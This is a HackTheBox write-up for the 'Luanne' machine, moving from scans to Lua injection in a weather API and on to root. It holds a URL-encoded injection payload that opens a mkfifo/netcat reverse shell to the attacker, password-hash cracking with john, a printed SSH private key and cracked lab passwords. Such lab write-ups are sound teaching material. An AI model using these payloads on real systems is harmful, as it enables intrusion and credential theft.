Luanne - [HTB]

Cover Image for Luanne - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Luanne is an easy Linux HackTheBox machine where the attacker will have to exploit a weather API in order to get a reverse shell, then will have to get access the user' s folder using a localhost web service. Finally, the attacker will have to find a password in a back up file to become "toor" and getting the flag.

    Enumeration

    As always I start scanning all open ports on the machine using the following command.

    kali@kali:$ sudo nmap -sS -p- -T5 -n --open  10.129.45.136 -oN AllPorts.txt
    [sudo] password for kali: 
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-30 16:05 EST
    Nmap scan report for 10.129.45.136
    Host is up (0.044s latency).
    Not shown: 62334 filtered ports, 3198 closed ports
    Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    9001/tcp open  tor-orport
    
    Nmap done: 1 IP address (1 host up) scanned in 32.08 seconds

    Then, doing a deeper scan we get the following information.

    kali@kali:$ sudo nmap -sC -sV -p22,80,9001 -n -T5 10.129.45.136 -oN PortsInDepth.txt
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
    | ssh-hostkey: 
    |   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
    |   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
    |_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
    80/tcp   open  http    nginx 1.19.0
    | http-auth: 
    | HTTP/1.1 401 Unauthorized\x0D
    |_  Basic realm=.
    | http-robots.txt: 1 disallowed entry 
    |_/weather
    |_http-server-header: nginx/1.19.0
    |_http-title: 401 Unauthorized
    9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
    | http-auth: 
    | HTTP/1.1 401 Unauthorized\x0D
    |_  Basic realm=default
    |_http-server-header: Medusa/1.12
    |_http-title: Error response
    Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

    In the port 80 there is an http service with a /weather directory and in the port 9001 there is a web supervisor process manager.

    Trying to get access to the root folder for the ports 80 and 9001, require some credentials to see what inside.

    Credentials for port 80
    Credentials for port 9001

    However, credentials aren't require for the /weather directory, where it seems there is nothing interesting.

    404 Not Found

    Doing a directory scan with gobuster, we can find a subdirectory named forescast.

    kali@kali:$ gobuster dir -t 20 -u http://10.129.45.136/weather/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
    ===============================================================
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    ===============================================================
    [+] Url:            http://10.129.45.136/weather/
    [+] Threads:        20
    [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Extensions:     php,txt
    [+] Timeout:        10s
    ===============================================================
    2020/11/30 18:02:37 Starting gobuster
    ===============================================================
    /forecast (Status: 200)
    ===============================================================
    2020/11/30 18:22:58 Finished
    ===============================================================

    Here appears and error message requesting a city name.

    Forecast error message

    Using the word list provides a bunch of cities.

    City list

    Then, using "London" as a parameter we can obtain information about the weather for the following 4 days.

    London weather

    Writing a bunch of random characters shows the following error.

    Forecast error 2

    Exploiting

    Googleling about Lua code injection there is a post about how to inject code into unsensitized input, which after some trial and error turns out into the following url.

    Note: Do not forget to change the IP and PORT in order to get the reverse shell.

    kali@kali: rlwrap nc -nvlp 4444
    kali@kali: curl http://luanne.htb/weather/forecast?city=London%27%29%3Bos.execute%28%22rm%20%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.X.X%20PORT%20%3E%2Ftmp%2Ff%22%29

    In the current folder there is a .htpasswd file with the credentials for the web page in the port 80.

    $ pwd
    /var/www
    $ ls -la
    total 20
    drwxr-xr-x   2 root  wheel  512 Nov 25 11:27 .
    drwxr-xr-x  24 root  wheel  512 Nov 24 09:55 ..
    -rw-r--r--   1 root  wheel   47 Sep 16 15:07 .htpasswd
    -rw-r--r--   1 root  wheel  386 Sep 17 20:56 index.html
    -rw-r--r--   1 root  wheel   78 Nov 25 11:38 robots.txt
    $ cat .htpasswd
    webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

    The password can be found using JohnTheRipper. For that we need to create a file with the hashed password, passing the route file to john.

    kali@kali:$ cat htpasswd 
    $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
    
    kali@kali:$ john htpasswd -w=/usr/share/wordlists/rockyou.txt 
    Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
    Use the "--format=md5crypt-long" option to force loading these as that type instead
    Using default input encoding: UTF-8
    Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
    Will run 3 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    iamthebest       (?)
    1g 0:00:00:00 DONE (2020-12-01 16:11) 9.090g/s 27490p/s 27490c/s 27490C/s secrets..iamcool
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    This credential will be used later on.

    Privilege escalation 1

    After some enumeration, in the file /etc/supervisord.conf we find the credentials for the supervisor web service.

    $ cat /etc/supervisord.conf
    
    [unix_http_server]                    
    file=/var/supervisord/run/supervisord.sock      ; path to your socket file
    
    [inet_http_server]                                                                               
    port = 0.0.0.0:9001                                                                                       
    username = user                                                                          
    password = 123     

    Once inside, we can find a dashboard where shows which process are running, the uptime of the machine and the memory that is being used.

    Supervisor

    Inside the following link we can see all process that are being executed. After a while will appear a process executed by r.michaels.

    USER         PID %CPU %MEM    VSZ   RSS TTY   STAT STARTED    TIME COMMAND
    root           0  0.0  0.1      0  6136 ?     DKl   9:29PM 0:02.54 [system]
    root           1  0.0  0.0  19852  1520 ?     Ss    9:29PM 0:01.51 init 
    root         163  0.0  0.0  32508  2324 ?     Ss    9:29PM 0:34.35 /usr/sbin/syslogd -s 
    r.michaels   185  0.0  0.0  34992  1976 ?     Is    9:30PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www 

    Reading the documentation about httpd, we can figure out that the web server is being executed in the michaels' home directory, thanks to the use of the '-u' parameter. So using our reverse shell, curl and the credential we got from .htpasswd file, we can see what is inside.

    Note: -u “Causes bozohttpd to switch to the user and the groups of username after. This option, like -t above,causes bozohttpd to clear the environment unless the -e option is given.”.

    $ curl -i -u webapi_user:iamthebest http://localhost:3001/~r.michaels/
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100   601    0   601    0     0   293k      0 --:--:-- --:--:-- --:--:--  293k
    HTTP/1.1 200 OK
    Date: Fri, 04 Dec 2020 15:27:19 GMT
    Server: bozohttpd/20190228
    Accept-Ranges: bytes    
    Content-Type: text/html
    Connection: close
    
    <!DOCTYPE html>
    <html><head><meta charset="utf-8"/>
    <style type="text/css">
    table {
            border-top: 1px solid black; 
            border-bottom: 1px solid black;
    }
    th { background: aquamarine; }
    tr:nth-child(even) { background: lavender; }
    </style>
    <title>Index of ~r.michaels/</title></head>
    <body><h1>Index of ~r.michaels/</h1>
    <table cols=3>
    <thead>
    <tr><th>Name<th>Last modified<th align=right>Size
    <tbody>
    <tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
    <tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
    </table>
    </body></html>

    As we can see there is an "id_rsa" key on the home directory, so we can retrieve it in order to get access to the machine as michael through SSH.

    kali@kali:$ curl -i -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100  2610  100  2610    0     0   849k      0 --:--:-- --:--:-- --:--:--  849k
    HTTP/1.1 200 OK
    Date: Fri, 04 Dec 2020 15:27:39 GMT
    Server: bozohttpd/20190228
    Accept-Ranges: bytes
    Last-Modified: Wed, 16 Sep 2020 16:52:06 GMT
    Content-Type: text/plain
    Content-Length: 2610
    Connection: close
    
    -----BEGIN OPENSSH PRIVATE KEY-----
    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
    -----END OPENSSH PRIVATE KEY-----

    We need to save the private key as michaels.key, so we can pass it as a parameter to SSH.

    kali@kali:$ ssh -i michaels.key r.michaels@luanne.htb

    Privilege escalation 2

    In the backup folder there is an encrypted file.

    luanne$ ls -la backups/                                                                                                                                                                                         
    total 12
    dr-xr-xr-x  2 r.michaels  users   512 Nov 24 09:26 .
    dr-xr-x---  7 r.michaels  users   512 Sep 16 18:20 ..
    -r--------  1 r.michaels  users  1970 Nov 24 09:25 devel_backup-2020-09-16.tar.gz.enc

    It can be decrypted with the following command.

    luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output /tmp/devel_backup-2020-09-16.tar.gz

    Once, extracted all the files we can see another devel_backup-2020-09-16/www/.htpasswd with a different hash. So, we can use once again john to retrieve the password.

    kali@kali:$ john devel-2020-09-16/www/.htpasswd -w=/usr/share/wordlists/rockyou.txt 
    Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
    Use the "--format=md5crypt-long" option to force loading these as that type instead
    Using default input encoding: UTF-8
    Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
    Will run 3 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    littlebear       (webapi_user)
    1g 0:00:00:00 DONE (2020-12-05 19:07) 8.333g/s 108000p/s 108000c/s 108000C/s dominica..balanta
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Because we can not use the command su on this machine, because we are not listed in the "wheels" group, we need to find another way to get a shell as root.

    For that, we can use the binary doas which executes any command as another user. For instance, /bin/sh. Doing so, with the user "toor" which has root privileges we retrieve our shell and finishing the machine.

    luanne$ doas -u toor /bin/sh
    Password:
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)